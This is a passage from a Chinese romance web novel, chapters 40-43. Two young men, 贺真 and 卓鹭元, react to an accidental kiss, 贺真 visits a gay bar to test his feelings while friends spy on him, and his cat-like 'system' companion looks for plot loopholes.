酒吧里来了不少人,音乐也越来越富有节奏,卓鹭元发现贺真在偷看自己,一瞬间似乎连自己的心跳都合上了音乐的节奏,不禁有些口渴,端起自己的酒杯就要喝,却被贺真伸手拦下来了: “再喝就醉了。还是说,等会要我送你回家?” 第40章 第 40 章 卓鹭元到底还是没喝…… 卓鹭元到底还是没喝那杯酒, 任由贺真把酒拿到了自己那边,看着对方面不改色地把那杯酒喝完。 宁之衡在听李尚乐和杨一群的热闹, 亮子时不时跟着也说两句,唯独卢俊城的目光探究地看向了卓鹭元,似乎在用眼神询问:你和贺真怎么了? 卓鹭元无言地摇了摇头,避开卢俊城的目光没有回答。 卓鹭元自己现在还像在做梦一样,不敢相信刚才发生了什么,只是看向贺真面前那杯属于自己的酒时莫名有些遗憾, 忍不住想 如果他没喝醉,贺真是不是就不会送他回家了? 这个念头一出现,卓鹭元马上摇头否认, 他本来就不太清醒, 这会晃头他人更晕了。 贺真也有些缓不过来, 他就这么和卓鹭元亲了? 茶茶还在试图给主系统写投诉信,没来骚扰他。和卓鹭元的半醉不同,贺真十分清醒,清醒得能意识到自己正在灯光昏暗的酒吧里目不转睛地看着卓鹭元,试图从对方脸上的表情读取他内心的想法,是否和自己一样。 但看到卓鹭元头晕的样子, 贺真心里关心占了上风,也不管他忽然坐得离自己这么远,走过去问他:“回去吧,再喝下去就醉了,我送你回家。” 两个人都住在同一个小区,又是隔壁邻居,贺真送卓鹭元回去再合适不过了。 宁之衡清楚卓鹭元的酒量,所以今天也没想着把人灌醉, 带着笑对贺真和卓鹭元举着杯子:“你们俩慢走,我再喝一会,谁让我今天开心呢!” 卓鹭元揉着太阳穴,愣愣地跟着贺真站起身,后知后觉地回答宁之衡:“哦,那我先回去了。” 宁之衡看着卓鹭元跟在贺真后面出去的样子,忍不住和卢俊城吐槽:“我怎么觉得一段时间没见,鹭元这家伙的酒量又差了。那么低度数的酒,还那么小一杯,看给他喝得。” 卢俊城却似乎察觉到了什么,端起酒杯意有所指地说:“我看鹭元可不一定是喝酒喝醉的。” 酒吧里声音太大,卢俊城说话声音又小,宁之衡没听清,大声问他:“你刚才说什么!” 卢俊城却摇了摇头:“没什么,喝你的酒吧。” 卓鹭元直到躺在自己床上还有种不真实的感觉,觉得自己身下的床像长了刺一样,怎么睡都不得劲,于是烦躁地抱住枕头把头埋进去,却不小心碰到了压在枕头下面的表,那是贺真的手表。 卓鹭元摸到贺真的手表,随即像拿到烫手山芋一样丢到一边,整个人藏在被子里不想面对。但是过了一会儿,卓鹭元又悄悄地把被子掀开一个缝,做贼心虚般地伸出一只手快速将贺真的手表拿回被窝。 贺真这表这么贵,万一不小心摔坏了怎么办,他才不是睡不着非要这只表陪着不可。 卓鹭元今天喝了酒,意识相较平时不太清醒,还没等他想明白什么,他就握着贺真的手表沉沉睡去,不知梦里想到了什么,还发出几声笑声。 与之相反,贺真失眠了。 如果对卓鹭元来说只是觉得床上长了刺一样睡不着,那对贺真来说他就像是睡在刺猬窝里一样,怎么样都睡不着。 回家后茶茶还趁他们两个人在屋里时悄悄问宿主今天是怎么回事,贺真一时没想好怎么回答,于是敷衍茶茶说今天太累了,有什么事明天再说。 可贺真怎么样都睡不着,一闭上眼睛就是卓鹭元在他面前用手背捂着嘴,脸红地瞪着自己的样子,还有就是……咳。 不能再想了。 贺真有心想要给卓鹭元发消息解释什么,但点开对方的聊天框时却又犹豫了,觉得发什么都不太合适。 原本贺真想发他不是故意的,让他不要放在心上,但是自己看看又觉得哪里有些怪,卓鹭元本来就对感情这方面特别警惕,这样发好像显得自己很轻浮,不小心亲了人家还不当回事。 而如果发什么“我会对你负责的”那就更奇怪了,是贺真自己都得骂自己一句连吃带拿的程度,卓鹭元肯定百分百会被吓跑。贺真翻来覆去想不到好办法,最后干脆把手机扔到一边不看了,越看越烦。 果然科学说得对,失眠不能玩手机。贺真把手机扔到一边,强迫自己入睡,睡着了就不烦了。 第二天贺真顶着一对黑眼圈下楼的时候,不止是贺母,连贺父都惊讶地探了个头看着贺真:“你昨天晚上做贼去了?这黑眼圈怎么重成这样,我都怕你妈说我压榨你。” “可不是怪你吗,看给儿子都累成这样了。”贺母心疼地看着贺真,拉着他在餐桌旁坐下,使劲给他碗里夹着早餐:“你工作太辛苦,要好好补补才行。最近我让阿姨每天把汤炖好给你送到公司去,你和你爸都喝一碗,对身体好的。” 贺真少见地有些心虚,但看着贺父微微嫉妒的眼神,想了想也没有辩解,反而应了一句:“谢谢妈,你对我真好。” 贺父“哼”了一声,小老头推推眼镜,故作不经意地问贺真:“回国这么久了,有没有女朋友啊?有了就带回来给我和你妈看看,你看人家小卓都开始相亲了,你一天倒和个没事人一样也不急。” “再说吧。”贺真模棱两可地说了一句,不动声色地把话题岔开:“对了爸,一会有个事我想和你聊聊,等会我去书房找你?” 贺真想问的是疗养院的事,一是为了防止相亲的风吹到自己头上祸水东引,而是他也需要打探一下贺父对这个项目的态度。 等吃完了早饭,父子两人坐在贺父的书房里,贺父问贺真:“什么事儿,还非得到书房来说。” 贺真拿出一些资料放在贺父面前:“爸,关于康宸这个医疗项目,你就没什么想和我说的?” 贺父抬起眼睛,收起先前的漫不经心,不答反问:“先说说,你想知道什么。” 贺真也不和贺父拐弯抹角,直接开口:“这个项目应该不是你提议的,我想知道贺继明在其中扮演了什么角色。” 都查到贺继明了,贺父也没多隐瞒,和贺真说了这个项目建立时的情况:“你猜的没错,这个项目确实不是我提议的,而是你的叔叔贺继明。当年我的事业刚有起色不久,你叔叔还是个普通的上班族。你太爷爷向来偏爱你叔叔,就让我想办法帮帮他。我不好拒绝,于是给了他一个选择,让他想出一个自己想投资的项目,我出钱,这个项目赚多赚少他自己负责,亏了也没有第二次机会。” 贺真觉得贺继明动机不纯,于是等着贺父继续往下说。 贺父喝了口水,继续说到:“贺继明思来想去,选了现在这个项目,但提出一个条件,就是要有一家固定的合作医院,就是你查到的慈康疗养院。据你叔叔说,是为了家里老人以后疗养考虑,你太爷爷信了。” 贺真了然,随即揶揄贺父:“你出钱出力又不讨好,我妈知道吗?” “咳,”贺父面色不太自然:“小孩子家家的,别管大人的事。” 贺真:……看来贺母已经骂过他了。 贺父见贺真看自己的眼神,就知道他肯定在大逆不道地笑话自己,心里一动问他:“昨天去哪了?回来那么晚就算了,和你说话也像没听到似的,干什么了这么魂不守舍。” 贺真想起昨天晚上的事,看了贺父一眼,径直走出了书房,不给贺父八卦的机会。 茶茶亦步亦趋地跟在贺真后面,还在好奇地打听那天的事:“宿主,主系统刚才回复我了,说系统显示的马赛克没有异常,是为了保护宿主隐私。宿主,你到底和主角干什么了,怎么我会被屏蔽呀?” 贺真走回房间,关上房门后语意不明地说:“你就这么想知道?” “嗯嗯!”茶茶晃着尾巴,抬头看着贺真,迫切地想知道昨天晚上到底发生了什么。 “我扶他去洗手间洗脸,他不小心摔倒了,我就扶了一把。”贺真说完后看着茶茶,伸出两只手握成两只小鸡,指尖处碰了碰:“然后不小心亲了。” “亲了?!!!!” 茶茶瞳孔震惊,忍不住倒退两步:“宿主你不是直男吗!你怎么可以亲男主啊啊啊啊啊!” 贺真头疼地揉了揉太阳穴:“都说了是不小心的。”虽然贺真还没来得及细想,但他对那个短暂的吻并不反感,他不知道自己是对卓鹭元有这种感觉还是对所有男人都是,连他自己也有些不确定了。 茶茶焦急地在房间里转了两圈,时不时打开系统面板看两眼,确定没有来自主系统的警告之后松了口气,随即又喃喃自语:“还好用户的隐私协议有保护宿主隐私条款,连主系统也不知道发生了什么。要是主角真弯了怎么办,之前也没听说过女配能上位的事,不行,我得去论坛看看!” 茶茶严肃地把猫爪按在贺真的拖鞋上,对他说:“宿主,我去论坛里看看有没有相关的补救措施,在此之前你可一定不要再去撩主角了啊!” “可是任务怎么办,我的主线剧情除了郑曦和祁琼音,不都是在卓鹭元身边吗?”贺真觉得茶茶的提议不现实,他总不能不做任务,那样积分怎么办? 茶茶深吸一口气,语重心长地对贺真说:“宿主,虽然我知道这对你很难,但能请你暂时先把自己掰直吗,在我回来之前,你一定要守住自己的性取向!” 贺真冷笑一声,把茶茶从地上拎起来:“第一,我还没弯。第二,” 贺真晃了晃手上的假猫:“你当我是意大利面,可直可弯?” 第41章 第 41 章 茶茶跑去泡论坛了。…… 茶茶跑去泡论坛了。 据茶茶说, 主系统空间有一个面向系统和宿主的大论坛,任务期间它只能看系统的论坛, 只有暂时脱出任务世界才可以去宿主的论坛里逛逛,似乎是为了避免其他宿主给任务宿主乱出主意。 系统的论坛茶茶说没什么好看的,还是宿主的论坛东西多一点。每个系统在任务期间都有一次暂时回到主系统空间的机会,这是为了防止任务出现紧急情况时没有办法及时联系上主系统打的补丁,当然也是要花费一定积分的。 茶茶千叮咛万嘱咐,就怕宿主在自己不在的时候瞎撩主角, 直到贺真答应自己不会对卓鹭元做什么之后才一步三回头地离开了。 贺真心里很不爽,他还没确认自己是不是真的弯了,茶茶就和护崽的母鸡一样不许他对卓鹭元做什么, 搞得他很火大。 但贺真知道茶茶在担心什么, 虽然烦躁也没多说什么, 准备等它回来之后看看有没有办法解决这个问题,卓鹭元要是真弯了,那他这个任务该怎么办? 卓鹭元不知道贺真的苦恼,美美睡了一觉醒来之后,外面已经天光大亮了。 家里卓父卓母都不在,只剩卓鹭元和阿姨在。卓鹭元想起昨天发生的事, 若无其事的把手表塞回枕头底下,起身去洗漱准备吃饭。今天周末,也不知道爸妈都做什么去了。 卓鹭元边刷手机边吃早午饭,看到群里的消息才反应过来今天是乔家新项目的发布会,不少企业家都到场了。按照卓父的性格是肯定不会去的,估计是找钓友钓鱼去了。 卓鹭元也是手贱,还点进去看了一眼,一眼就看到了乔昱褀那张令人厌恶的脸, 默默在心里骂了一句晦气,关掉页面准备回房休息。 昨天的事像做梦一样,即便这会儿房间里只有卓鹭元一个人,他想起昨天的事也有想把脸埋进枕头里的冲动,连想到贺真的名字都忍不住羞耻脸红。 卓鹭元寡了二十多年,没想到自己的初吻就这么没了,而且还是和一个男人。最重要的是,他还不觉得反感和恶心,这让他本来就有些摇摇欲坠的性取向更加岌岌可危了! 难道他真的弯了,还喜欢上了贺真? 卓鹭元不知道啊,他没谈过恋爱,不知道喜欢一个人应该是什么感觉,偏偏这事还不能明着问盛俊文那群朋友。卓鹭元甚至抱着些侥幸想法,说不定他对贺真只是欣赏呢? 但让卓鹭元自己一个人把这件事烂在心里,他又做不到,想和贺真说些什么也无从开口,只好烦闷地把手机锁屏开了又关,最后实在忍不住,打开了卢俊城的聊天框:“城哥,你和女朋友的感情怎么样?” 卢俊城的女朋友,准确地说是未婚妻,也是淮市一家千金,两个人算是以前是同学,后来觉得各方面都比较合适就定了下来,准备今年结婚。 卢俊城看到卓鹭元的信息时就大概猜到些什么,但他没多问,只是单纯地回答卓鹭元:和以前一样。怎么突然问我感情上的事,开窍了? 卓鹭元迟疑了一会才回答:不知道,喜欢别人是什么感觉? 卢俊城的经历也只有这一段,斟酌着回答了一句:每个人对恋爱的感觉不尽相同。对我来说,喜欢是一种责任,比如想办法让双方过上更好的生活。 责任吗? 卓鹭元大致能理解卢俊城的想法,他向来是一个责任心很强的人,无论是对家人还是朋友,这个回答也无可厚非。 可卓鹭元觉得自己对贺真的感觉,好像和卢俊城说的不太一样,他一时之间也搞不明白。卢俊城太聪明,卓鹭元怕自己问得太多被对方看出什么来,回了一句谢谢就不再聊这个话题。 卢俊城看出卓鹭元不想聊继续聊这个话题,转而问他:你拍的那块地开发前景不错,考虑和我合作吗? 卓鹭元没想到卢俊城之前说的合作竟然是真的,当即开心起来:城哥你说的是真的吗? 卢俊城很快回复:自然是真的。如果你也有意的话,下周我可以让人以公司的名义进行对接,你可以考虑一下,不用急着做决定。 像合作开发这种大事卓鹭元暂时还做不了主,所以卢俊城说这话的意思显然是让卓父考虑一下的意思。卓鹭元也听出来了,应下卢俊城所说对接的事:我和我爸商量一下,顺利地话再让以公司的名义对接。 卢俊城:好,等你好消息。 卓父跑出去钓鱼,也不知道几点才能回来,卓鹭元试着给他打了几个电话都没人接,估计怕吓着鱼关了静音,只能等他回来再说了。 卓鹭元试探性给盛俊文发了消息,想知道昨天他和贺真走了之后发生的事,直到一个小时之后盛俊文才回了电话:“元儿,什么事?” 盛俊文昨天走得晚,宁之衡喝起酒来不要命,卓鹭元不能喝但是其他人能啊,所以宁之衡也没放过他们,最后一桌人只有卢俊城还勉强清醒一些,打了个电话让人送这些醉鬼回家,这会估计都在补觉。 卓鹭元听了盛俊文的话有些感慨,卢俊城看样子今天还在工作,怪不得人家赚钱呢。 反倒是盛俊文有些疑惑地问卓鹭元:“你昨天怎么回事,喝那么点酒能醉成这样,这不像你啊。你别以为我没看见啊,你洗脸就洗脸,躲着人家贺真干什么,还故意坐那么远。” 前段时间卓鹭元还让他帮忙打听贺真的感情史呢,吓得他以为卓鹭元弯了,结果怎么喝个酒的功夫两个人突然坐这么远,这中间肯定有事。 卓鹭元有些犹豫自己要不要说,想了想自己和盛俊文的关系,最后还是没打算瞒着他:“我和你说件事,你不许和别人说,要不然一辈子找不到对象。” “我靠,玩这么大?”盛俊文吓了一跳,但还是答应了:“什么事值得把我后半辈子的幸福都搭进去,你说来我听听。” 卓鹭元深吸一口气,简短地说了昨天在酒吧的事:“昨天我去洗手间洗脸的时候滑倒不小心和贺真亲了。” 卓鹭元再多说一句就要不好意思了,所以说话时语速飞快,忐忑地等着盛俊文的回答。 电话那边沉默许久,卓鹭元甚至拿开手机看了一眼屏幕,是通话中啊? 卓鹭元有些没耐心了,刚准备说话时盛俊文的声音从电话那边传来,听着有些虚弱:“元儿,下次这种大事咱能留着在我精神的时候说吗,我刚才差点给你吓猝死。” 卓鹭元轻咳一声:“你别管这有的没的了,你说我该怎么办啊?” 盛俊文叹了口气:“你问我有什么用嘛,你自己是怎么想的?还有贺真呢,他没找你说些什么?”他这发小有点迟钝,还在这问自己怎么办,要是盛俊文自己被一个男的亲了,他巴不得连夜刷牙然后跑得远远的,哪会在这问该怎么办。 卓鹭元支支吾吾地说:“我这不是不知道才给你打电话吗。他还没和我发消息,我估计和我一样应该不知道说什么吧……” 盛俊文烦恼地抓头:“那我问你,那天他亲了你以后,有没有什么反应,比如脸红心跳什么的?” 卓鹭元当时甚至不敢正眼看贺真,哪还能把对方的表情记得清清楚楚,倒是他自己确实脸红心跳的不得了。卓鹭元半真半假地说:“我就看他摸了一下自己的嘴唇,然后半天没说话,倒是我的脸挺红的。” 行了,贺真弯没弯他不知道,卓鹭元八成是危险了。 盛俊文翻身换了个姿势对卓鹭元说:“那你对其他男人呢,还是一样讨厌?” 其他男人? 卓鹭元想象了一下别的男人企图靠近自己的样子,嫌恶地说:“打住,你让我想起恶心的事情。” “那不就完了吗,说到底啊,我估计你对贺真多少有那么点意思。你说你也是,小时候躲贺真躲得那么明显,还嫌他绿茶,现在嘛……啧啧啧。” 盛俊文终于抓到机会调侃卓鹭元,小嘴像机关枪一样叭叭个不停:“行了,改天我再侧面给你打听一下,今天怕是没时间了。酒吧街新开了一家,我今天晚上得陪亮子打探敌情去。” 卓鹭元“哦”了一声,对盛俊文说:“那你也帮我问问亮子,他以前交过女朋友。我今天晚上得和我爸聊正事,抽不出时间陪你们去。” 盛俊文:“…行,瞧不上我的建议呗,有空我帮你问问。” 盛俊文挂了电话还不忘揶揄他两句,又躺下继续补觉,昨天喝得太狠了,他直到下午才起来找东西吃。 新开的酒吧在亮子那家酒吧附近,亮子还是有点在意的,所以才找盛俊文一起来探一探,两个人约好先在酒吧街门口碰面。 “来了,唉,你是不知道,昨天给我喝的。对了,等会和我说说你之前那个女朋友的事儿呗,我也不想一直寡着。”盛俊文勾着亮子的肩膀,却看见亮子用一种茫然又震惊的眼神,正看着不远处一家酒吧:“俊文,你看那是不是贺真?” 盛俊文有些奇怪亮子的反应,伸着头往那边看了一眼,好像还真是,开口问亮他:“是又怎么了?”出来喝杯酒而已,又没什么可奇怪的。 亮子慢慢扭头,看着盛俊文说:“可那家……是个gay吧啊?” 盛俊文:?! 盛俊文震惊了好一会儿,拍了拍亮子的肩膀:“兄弟,等我两分钟。” 盛俊文走到一边摸出手机,颤颤巍巍地打电话给卓鹭元:“以后你和贺真要是结婚了,我要坐主桌。” 卓父刚进家门,卓鹭元正守株待兔呢,冷不丁听到盛俊文这句话,直接让他有话快说:“说重点,我今天真的有正事。” 盛俊文看着贺真的背影,对自己发小说:“我看见贺真去酒吧了,”盛俊文缓了缓,补充道:“gay吧。” 卓鹭元:?! 第42章 第 42 章 卓鹭元震惊过后,那…… 卓鹭元震惊过后, 那句“位置发我”下意识脱口而出,但看着卓父就要回书房, 卓鹭元只能连忙丢下一句“帮我盯着”就追着卓父去谈和卢俊城合作的事,只能相信盛俊文了。 盛俊文挂了电话,回去拍拍亮子的肩膀:“我知道你很急,但你先别急,能和我去那家酒吧看看情况吗?” 亮子的头摇的像拨浪鼓:“你说那家gay吧?我不想去啊!我直的不能再直了。” 盛俊文却不由分说地圈住了亮子的肩膀,防止他逃跑:“这不是巧了吗, 我也不想自己一个人去,刚好咱俩一块。亮子,求你了, 就算为了兄弟的幸福帮忙吧。” 亮子眼神惊恐地看着盛俊文:“你、你该不会?” 盛俊文马上松开圈住亮子肩膀的手, 退后一步看着亮子:“你想什么呢!我一个朋友看上贺真了, 让我帮着看看他到底喜欢男的女的!就一句话,去不去?” 亮子犹豫半天,还是点了点头:“行,就这一次,你可千万不能告诉我爸妈你和我去那种地方,我们老曲家可传统了, 我还想多活几年。” 盛俊文笑嘻嘻地拽着亮子往酒吧方向走,边走边和亮子许诺好处:“好兄弟,明天,明天我一定陪你去打探敌情,我请客!” 贺真还不知道自己后面跟了两个好奇的小尾巴,仍然自顾自地向酒吧里面走去。 茶茶回主系统空间去翻论坛了,估计明天才能回来,这期间只有001号跟着他。但001号显然智能程度没有茶茶高, 除了能辅助纠正剧情发布任务,也没有什么其他功能,大多数时间只是安静地跟着他。 今天贺真是背着茶茶来gay吧的,反正001号智商不高,多半也做不出告状的事来。 贺真心里有些茫然,他下意识觉得自己应该是个直男,可是脑海里却一直浮现出那天卓鹭元的反应和嘴唇相碰时的柔软触感,别说茶茶,连他自己都有些不确定了。 刚好今天茶茶不在,贺真做了一个大胆的决定:来gay吧测试一下自己,看看自己是只对卓鹭元反应特殊,还是对所有男人都这样。 贺真一进酒吧就吸引了不少人的目光,他却像没看到一样径直走向吧台:“给我推荐一杯酒,度数不高的。” 贺真今天穿着偏休闲,身长玉立的样子就算坐在吧台前也显得挺拔,被吧台上分灯光扫到的侧脸更是分走了不少人的目光。有人蠢蠢欲动想要上前搭讪,被同伴小声提醒:“你看他那身衣服,不是我们惹得起的。” 吧台后的酒保是一个年轻小哥,看贺真的样子就知道对方是个不差钱的公子哥,于是推荐了一杯店里的招牌:“先生,午夜鎏金您觉得怎么样?” 贺真随意点点头,视线不经意向酒吧里看去,不小心和一个穿着时尚的男孩对上了目光,对方还大胆地朝贺真笑了笑,贺真立马收回目光,等着小哥调酒。 盛俊文拉着亮子,两个人怕贺真认出来,于是低着头猫着腰悄悄进了酒吧,找了个离贺真不远处的卡座坐下,看也不看随便点了些酒。 亮子还是有些不可置信,压低声音问盛俊文:“这怎么回事?你之前也没和我说过贺真是弯的啊?” 盛俊文心想我这不也才知道吗,看贺真没有注意到这边,小声回答亮子:“我这不也才知道吗,要不是我那个朋友看上他了,我才不来这当卧底呢。” 亮子有些好奇地问盛俊文:“你那朋友什么人啊,男的女的,之前怎么没听你说过?” 盛俊文却像没听见一样打着哈哈:“就一朋友呗,以后你就知道了。卧槽,快看,那个男的是不是想勾搭贺真?” 盛俊文用力拍了拍亮子,示意他往吧台那边看,果然有个男人朝着贺真那边走去,目标明确地在贺真旁边坐下,盛俊文赶紧拿出十二分注意力盯着那边的情况,卓鹭元这么多年好不容易才看上一个,他可不能让这棵大白菜跑了。 “先生,一个人吗?” 来找贺真的是个长相精致的男孩,贺真转头看他时才发现对方似乎还化了妆,看着自己的眼里带着惊艳和满意。贺真不太习惯对方身上的香水味,不动声色地悄悄坐远了点:“嗯。” 男孩像没有发现一样,甚至又凑近了点,仔细看贺真这人不仅身材好,连长相也是他喜欢的类型,于是说起话来更加热情:“我也不是常来这边,毕竟像先生一样合心意的人可太少了。午夜鎏金?看来我们口味也很合适呢。” 贺真奇怪地看了他一眼,这人不是说不常来,连店里的招牌都知道。贺真被人盯着也没了喝酒的心情,把那杯酒随手向他一推:“看来你很了解这家店。” 盛俊文在不远处看着贺真和对方聊天,甚至请他喝酒的时候心里警铃大作,这小子该不会吃着碗里的还望着锅里的吧?连他都看出来那男孩脸上的愉悦了,贺真居然请他喝酒?! 这样下去不是办法,盛俊文脑子转得飞快,一拍手掌有了主意:“亮子,你帮我个忙,就这样……” 那男孩接过那杯午夜鎏金,觉得自己拿下贺真有希望,正准备喝时,酒吧里突然响起一阵乡村土嗨音乐,男孩刚喝进去的半口酒下意识喷了出来:“噗!” 这什么鬼音乐,他来过这么多次都没听到过,酒吧老板不是这个品味啊! 音乐一响起,几乎酒吧里所有人都朝控制台看去,刚才男孩特地营造的氛围也在土嗨音乐中烟消云散。 贺真眯着眼看着从控制台鬼鬼祟祟离开的人,总觉得有些眼熟。 不多时音乐又恢复正常,男孩却有些懊恼,被这样一打岔他都不知道自己该说些什么了,却冷不丁听到贺真问自己:“你是什么时候发现自己喜欢男人的?” 男孩本来想说“见到你的时候”,但看着贺真的表情之后又不敢调.戏对方,只好回答:“高中时啦,还是别人追的我。不过谈恋爱而已,男人还是女人,区别很大吗?怎么样,要不要和我试试?” 男孩拿出自己手机,打开自己二维码放在贺真面前,撑着脸笑眯眯地等待对方的回答。 盛俊文看得不太清楚,只看到那男孩把自己的手机递到贺真面前,像是要加好友的样子。盛俊文紧张地看贺真的手向对方的手机,差点想冲出去的时候,他看到贺真把对方的手机倒着扣在桌子上:“不用了。” 刚才贺真碰到对方手机的时候,那个男孩的手指轻轻在他手背上碰了一下,贺真马上把手抽了回来:“我要走了,你随意。”贺真结了酒钱,当做是那个问题的谢礼,转身径直走出了酒吧。 贺真不太喜欢酒吧里那些人直白又赤.裸的眼神,被那个男孩碰到手背的时候更是难受,下意识就想将对方的手甩开。 他确定,他只对卓鹭元一个人不一样。 既然贺真已经想明白,自然不想在酒吧里多待,十分干脆利落地转身离开,倒是盛俊文和亮子两个人有些着急,亮子问盛俊文:“这怎么办,咱俩现在走会和他碰上吧?” 盛俊文也有些犹豫:“那等五分钟?刚好我先去结个账。” 等盛俊文结好账,两个人像来的时候一样偷偷摸摸地离开,刚松一口气就听到了贺真的声音:“亮子?俊文?你们……” 贺真抬头看了一下酒吧招牌,确定是刚才他出来的那一家,随即恍然大悟:“抱歉打扰到你们了,你们继续,我先走了。” 盛俊文:!!! 亮子:!!! 亮子着急地就要解释:“是俊文他……” 盛俊文:“你等会!我是陪亮子来考察的,最近附近新开了不少酒吧,我们两个为了刺探敌情,附近的酒吧都会去,不是你想象的那个样子!” 亮子看着盛俊文,这你没和我说过啊! 盛俊文抱歉地看着亮子,他可不能把卓鹭元供出来,只好先委屈你了:“结果谁知道这一家是个gay吧,我俩进去才知道,坐了几分钟就出来了。你呢,怎么一个人在这边喝酒?” 贺真是故意的,事情哪会那么巧,那个男孩刚和自己没说几句话,酒吧音乐就被人换了。他就是想看看到底是谁在跟着他,是盛俊文还是卓鹭元那个小辣椒,看到卓鹭元不在时还有点失望。 贺真笑了笑,也不和盛俊文说实话:“最近比较烦闷,想出来一个人喝酒,随便挑了一家,没想到是个gay吧,还有人说想和我试试,被我拒绝了。” 贺真拒绝了?盛俊文松了一口气,随即又有些担心起卓鹭元来,替他问贺真:“你是不喜欢男人,还是只是不喜欢那个男人?”这其中的差别可就大了去了。 贺真意味深长地看着盛俊文,恶作剧一般反问:“嗯?怎么突然对我的感情问题这么关心,上次也是。” 盛俊文不好说实话,只好尴尬地笑了两声:“这不是看你条件这么好,居然没个女朋友什么的,有点好奇嘛。” 贺真笑了笑,怕真把盛俊文背后的某个人惹急了,对盛俊文说道:“不喜欢那个男人。至于其他人……” “其他人什么?”盛俊文紧张地看着贺真,等着他的回答。 贺真想到自己的绿茶系统,模棱两可地回答:“不知道,或许只有接触过才能肯定吧。” 他是知道自己内心答案的,只看茶茶回来之后有没有新的转机。 第43章 第 43 章 卓鹭元等了一天,终…… 卓鹭元等了一天, 终于堵到了钓鱼归来的卓父。 卓父看起来没什么精神头,卓鹭元跟在卓父后面, 偷偷拎起他的鱼箱掂了掂,轻的,看来又空军了。 卓鹭元的小动作被卓父发现,卓父一把抢过自己的鱼箱,欲盖弥彰地冲他解释:“钓了几条小鱼,都被我放生了, 我们有规矩,只钓大鱼不钓小鱼。” 卓鹭元“哦”了一声,也不等他爸换身衣服, 拉着他就说了卢俊城想要和他们家合作的事:“爸, 城哥说想和我们家联合开发我们手上那两块地, 想要以公司的名义先接触一下,你帮我把把关呗?” 卓鹭元心里对自己还是有点自知之明的,涉及这两块地后续开发需要调动的资金流太大,不是他一个人凭着交情就能拍板决定的,肯定要和卓父商量一下。 但卓父还能不了解卓鹭元吗,既然他提起了这件事, 就说明这小子多多少少是有意和卢俊城合作的。卓父把自己的遮阳帽放到一边,揉了揉自己酸疼的腰:“现在我拿什么给你把关?行了,下个星期让他们公司的人先来接触一下,看看他们那边是个什么想法。” 卓父答应了先和卢俊城接触一下的事,转头又说起卓鹭元:“你也是,看看人家对自己家公司多上心,你就知道让自己亲爹去打头阵,还不快给我揉揉腰!” 卓鹭元赶快坐到卓父身边, 殷勤地给卓父按摩:“这不是爸你宝刀未老嘛,我给你按按腰。这个力度怎么样?” 卓父舒服地眯着眼睛:“这还像个样子。对了,上次你和那白家姑娘怎么回事,人家告状都告到我这里来了。你是个男孩子,即使不喜欢也要有风度,这是礼节。” 卓鹭元心里不爽,手上没注意劲使大了,卓父“哎哟”一声瞪了他一眼,卓鹭元才小声回答:“怎么还带告状的。我和她说了目前不想恋爱结婚,她还不依不饶的。爸你也是,以后别随便替我答应这种事情,搞得我去不去都得罪人。” 这件事上卓父先斩后奏,确实有些理亏,只好答应卓鹭元:“行,感情的事我不替你做主,但你自己得上点心啊,要不然好姑娘都被人追走了。” “知道了知道了,真唠叨。”卓鹭元无奈地答应,等哄好了之后卓父马上迫不及待地跑回房间去盘问盛俊文:“人呢?快和我说说什么情况!” 贺真好端端地怎么会去那种地方,难不成他以前就是……? 卓鹭元着急地戳着手机,盛俊文那边刚和亮子分开,正开着车回家。刚才他光顾着盯贺真了,点的那些酒一口没喝,全给亮子了。他知道卓鹭元着急,主动给卓鹭元回了个电话:“我一个好好的直男都为了你的幸福扎进gay吧了,你说你该怎么谢我?” “什么我的幸福,你别胡说八道!”卓鹭元脸一红,让盛俊文快点说正事:“说重点,他怎么会去那种地方?” 盛俊文把今天在酒吧的事挑着和卓鹭元说了些:“今天我和亮子本来要去打探敌情,结果亮子眼尖,发现贺真进了gay吧,然后我这不马上给你打电话,带着亮子进去了吗,” 前面是个红绿灯,盛俊文等待地时候不急不缓地说:“人家贺真是真受欢迎,你是没看到他进去之后那些人的眼光,和恶狼扑食似的,还有个男的找他搭讪。不过也是,就贺真这条件,什么样的找不着啊。” 还有人找他搭讪?! 卓鹭元坐不住了,站起来在房间里走着圈圈:“那他呢,答应了?” 盛俊文趁着堵车的时候回答:“不像,我看那个男的好像想加他好友,手机都递过去了,但是贺真拒绝了。不过之前我看他们两个好像说了几句话,贺真还请他喝了一杯酒,至于聊的内容我就不知道了。” 卓鹭元没说话,盛俊文知道自己发小肯定在默默憋火,正准备说些什么替贺真找补的时候,冷不丁听到卓鹭元问了一句:“那个男人长得比我好看?” 盛俊文:“……搞了半天你在关心这个??他怎么可能比你好看。”他长这么大,还从来没听过卓鹭元问这种问题。 “哼,我就知道不可能。” 盛俊文忍住吐槽的心思继续往下说:“后来我和亮子出来的时候还不小心碰上他了,我还问了他一个问题,是不喜欢那个男人还是不喜欢男人,你猜他说什么?” 卓鹭元有些生气,但好像有又没有什么应该生气的理由,听到盛俊文的话时还是忍不住追问:“他说什么?” “他说,他不是喜欢男人。至于是不是只喜欢某个人,他没谈过,不知道。你说他这是什么意思啊?”盛俊文也拿不准贺真的想法,说他喜欢卓鹭元,但是这么长时间也没见他表白。 说他不喜欢吧,这都去gay吧了,贺真看起来也不像是不在意的样子,他又不是玩咖。 盛俊文一个局外人都看不明白,更别说卓鹭元这个连恋爱都没谈过的人了。 但有一点卓鹭元很确信,贺真请别的男人喝酒这件事,他很不爽。 卓鹭元对盛俊文说:“今天的事谢了,欠你一个人情。我最近要忙公司的事,最近就不找你们玩了,等忙过这一阵请你们去玩。” “嗨,这都是小事。那你对贺真……?”盛俊文意有所指地试探,卓鹭元冷笑一声:“我最近忙得很,可没有空闲时间去什么酒吧请人喝酒。” 盛俊文听着卓鹭元这酸溜溜的语气,这还没谈上呢,醋味儿都快溢出来了,他都不知道该说自己发小什么才好,只好干巴巴地回答:“那好吧,最近我先不找你了。” 卓鹭元挂了电话,准备拿件浴袍去洗澡,忽然看到了柜子里,那只蓝色袖扣旁边的一对红色袖扣,生气地把红色那对挪远了些。 离那么近做什么,禁止贴贴! “宿主,我回来啦!” 茶茶摸了一把头上的赛博汗水,却发现宿主不仅没有热情地迎接他,反而在盯着手机发呆,于是装模作样地去贺真面前转了一圈,终于把注意力拉回自己身上:“宿主,这次茶茶回去收获很大哦!” 贺真收起心不在焉的样子看向茶茶:“说说看。” 茶茶清了清嗓子,对宿主说:“这次茶茶去了宿主论坛,结果有一个大发现,原来配角是可以升格成为主角的!” “升格成主角?”贺真来了精神,聚精会神地盯着茶茶:“和我说清楚。” 于是茶茶大致和贺真说了一下自己昨天高强度逛论坛的收获。 